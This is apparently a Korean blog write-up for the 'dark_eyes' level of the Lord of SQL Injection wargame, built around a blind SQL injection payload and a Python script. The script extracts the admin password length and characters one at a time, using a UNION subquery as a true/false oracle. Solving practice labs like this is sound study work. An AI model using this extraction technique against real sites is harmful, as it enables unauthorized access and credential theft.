write-up(web)/los

[LOS] dark_eyes

chanchand 2023. 1. 24. 23:26
반응형

문제


https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php

 

https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php

 

los.rubiya.kr

 

 

 

 

문제풀이


이전 문제와 비슷하나 if 문을 쓸 수 없다.

 

union을 사용해서 문제를 해결할 수 있다.

1 부분에 pw을 구하는 식을 넣어 blind injection을 수행하여 pw의 길이와 문자열을 구할 수 있다.

?pw=' || (select 1 union select 2)# --> 빈 화면 출력

 

 

- pw 길이

 

- pw 문자열

 

- 파이썬 코드

import requests

cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"

# flag_len
flag_len=0
for i in range(1,50):
  query="?pw='||id='admin' and (select 1 union select (length(pw)={}))%23".format(i);
  res=requests.get(url+query, cookies=cookie)
  if (res.text.find("<strong>")!=-1):
    flag_len=i
    break

print("flag_len:{}".format(flag_len))


# flag
flag=""
for i in range(1,flag_len+1):
  for j in range(33,128):
    query="?pw='||id='admin' and (select 1 union select (ascii(substr(pw,{},1))={}))%23".format(i,j)
    res=requests.get(url+query, cookies=cookie)
    
    if (res.text.find("<strong>")!=-1):
      flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))

 

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] evil_wizard  (0) 2023.01.25
[LOS] hell_fire  (0) 2023.01.25
[LOS] iron_golem  (0) 2023.01.24
[LOS] xavis  (0) 2023.01.23
[LOS] dragon  (0) 2023.01.23